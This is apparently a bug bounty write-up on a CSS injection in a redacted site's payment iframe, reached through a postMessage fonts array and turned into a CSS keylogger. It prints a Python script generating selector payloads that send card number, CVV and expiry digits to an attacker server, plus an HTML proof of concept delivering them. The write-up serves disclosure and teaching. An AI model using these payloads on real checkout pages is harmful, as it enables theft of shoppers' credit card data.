CSS Injection via PostMessages to stealing Credit Card Info
It's been a while since I posted something ... But I plan to bring new content into the blog and to get off on the right foot. We'll start with a new writeup on how I found a CSS Injection on a private bug bounty program, and at the end how I leveraged it to steal credit card information from users. Without further ado, let's get started!
Note: Because the bug bounty program is private, we're going to call it redacted.com
Vulnerable sinks all around
While exploring around the main website, I stumble upon a functionality called virtual terminal, which meant that you could create a credit card payment terminal. Checking it out I found an iframe being loaded, which was a credit card information form. Knowing this, I checked the PostMessages intercepted by DOM-Invader, and found a PostMessage sending the following data to checkout.redacted.com
:
{
"type": "HOSTED_PARAMS",
"data": {
"styles": {
"fonts": [
"https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500&display=swap" <-- Our input
],
...
Analyzing it further by checking the Stack Trace, we can find that our input ends up in this little piece of JS code:
loadDynamicFonts = function(e) {
if (Array.isArray(e)) {
var t = e.map((function(e) {
return "@import url('".concat(e, "');")
}));
if (t.length) {
var n = document.createElement("style");
n.innerHTML = t.join(" "),
document.body.appendChild(n)
}
}
}
Following the code flow, being e our input, we can see how it works :
- Our input ( being, in this case, a web link to a CSS file ) gets inserted into a
@import url('WEB_LINK');
CSS code. - It then creates a new
<style>
HTML element and inserts the CSS web links from our array into the element.
Alright, great! Now on to confirm the actual vulnerability.
Confirming the CSS Injection
Confirming the CSS Injection was quite easy, all I needed to do was to create a CSS file with .hMGtjw { background-color: red; }
on my server. Then insert the CSS file link in the fonts array, and send the PostMessage once again.

Now here's the thing, as a PoC, I didn't wanted to show that I could change the background color ( scary ). So I started thinking and it came into mind a video that I saw a year ago from LiveOverflow, where he talks about an attack vector using CSS called CSS Keylogger.
Doing some research on CSS Keylogger showed me some limitations:
- It cannot handle repeat characters.
- It cannot handle mouse clicks inside the password field to change the entry position or pressing the arrow keys or backspace.
- Due to parallelism, it’s not guaranteed for the requests to be received by the server in the order they were typed in.
But knowing that the form contained credit card information, the impact if I had a working keylogger as a PoC would be good enough. With that in mind, let's move on to the last chapter of this writeup, shall we? But first a quick lesson about CSS keyloggers!
Baby CSS Keylogger
For a quick exercise, let's analyze the following CSS code :
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
This keylogger works by targeting any input field where the type is set to password
. It then uses a CSS selector, in this case $=
, to check if the last character of the input is a. If it is, the code sets a background image using the url(). The URL points to a server controlled by the person who created the keylogger, and it adds /a
at the end of the URL.
This way, the person behind the keylogger knows that the user has entered the letter a in their password field.
Final Analysis
So, let's see what we've on the credit card form. We've got 5 inputs, but only want to exfiltrate data from 4 of them: Card Number, CVV, Expiration Month, and Expiration Year.
Analyzing the inputs further, we find the values that we can insert :
- Credit Card Number - 4 numbers of 4 digits each one. Possible values between 0000 to 9999.
- CVV - Possible value between 0000 to 9999.
- Month - Possible value between 01 to 12.
- Year - Possible value between 20 to 40.
Alright, now we need to see what selectors we could use for checking the input as there are so many more!
I knew the hardest part would be the Credit Card Number, because of the numbers ( XXXX-XXXX-XXXX-XXXX ) and the "No repeat numbers" limitation. What I came with was importing 2 CSS files, each with values ranging from 0000 to 9999. Why make checks from 0000 to 9999 you may ask? It's way simpler and the probability of getting the same 2 4 digit numbers on a credit card number is about 0.0006 % so we don't have to even worry about the "It cannot handle repeat characters" limitation.
Note: Shout out to zi for brainstorming ideas with me ( has a youtube channel and a podcast with amazing content, check it out ! )
So after some tests for the first CSS file, I used the ~=
selector ( it checks if our credit card number contains a certain number ) and for the second CSS file, I used the $=
selector ( checks if our last credit card number is equal to a certain number ).
Exfiltrating data using CSS
For the rest of the inputs, we can create a CSS file for each of them and put all the possible values using the selector ~=
. You may be asking "How are you going to import so many CSS files ?". Well, if you remember correctly, our fonts is an array so we can just insert them into it and they will be imported!
I've created a python script to do this automatically for me.
poc_cvv_file = "cvv.css"
poc_year_file = "year.css"
poc_month_file = "month.css"
poc_creditnumber_files = ["credit_1.css", "credit_2.css"]
payload_cvv_number = 'input[name="cvv"][value~="%s"] {background-image: url("https://SERVER/creditcard_cvv/%s");}'
payload_credit_number = 'input[name="card_number"][value%s"%s"] {background-image: url("https://SERVER/creditcard_number/%s");}'
payload_expiration_year_number = 'input[name="expiration_year"][value~="%s"] {background-image: url("https://SERVER/creditcard_year/%s");}'
payload_expiration_month_number = 'input[name="expiration_month"][value~="%s"] {background-image: url("https://SERVER/creditcard_month/%s");}'
for file_name in poc_creditnumber_files:
for card in range(0,10000):
with open(file_name, 'a') as f:
if file_name == "credit_2.css":
f.write(payload_credit_number % ("$=", f'{card:04}', f'{card:04}'))
else:
f.write(payload_credit_number % ("~=", f'{card:04}', f'{card:04}'))
for card in range(0,10000):
with open(poc_cvv_file, 'a') as f:
f.write(payload_cvv_number % (f'{card:04}', f'{card:04}'))
for card in range(1,13):
with open(poc_month_file, 'a') as f:
f.write(payload_expiration_month_number % (f'{card:02}', f'{card:02}'))
for card in range(20,41):
with open(poc_year_file, 'a') as f:
f.write(payload_expiration_year_number % (card, card))
After running this on our server, we can now edit the PostMessage and insert our CSS Links into the fonts array and send it away ! With all this in mind, our attack scenario could be resumed in 3 steps :
- The victim clicks on a link the attacker sends.
- The victim types in their credit card info in the form.
- The credit card info gets sent to the attacker's server.
Proof of Concept
# PoC Code
<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>Postmessage PoC</title>
<script>
function pocLink() {
let win = window.open('https://checkout.redacted.com/');
let msg = "{
"type": "HOSTED_PARAMS",
"data": {
"styles": {
"fonts": [
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/credit_1.css",
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/credit_2.css",
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/credit_3.css",
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/credit_4.css",
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/cvv.css",
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/month.css",
"https://YOUR_SERVER/9Ne9csz3XdpdSDNft6/redacted/year.css"
], } /* ... other UI stuff ... */ }";
msg=JSON.parse(msg);
setTimeout(function(){
win.postMessage(msg, '*');
}, 5000);
}
</script>
</head>
<body>
<h1 style="text-align: center; margin-top: 100px;"><a href="#" onclick="pocLink();">CSS Keylogger :)</a></h1>
</body>
</html>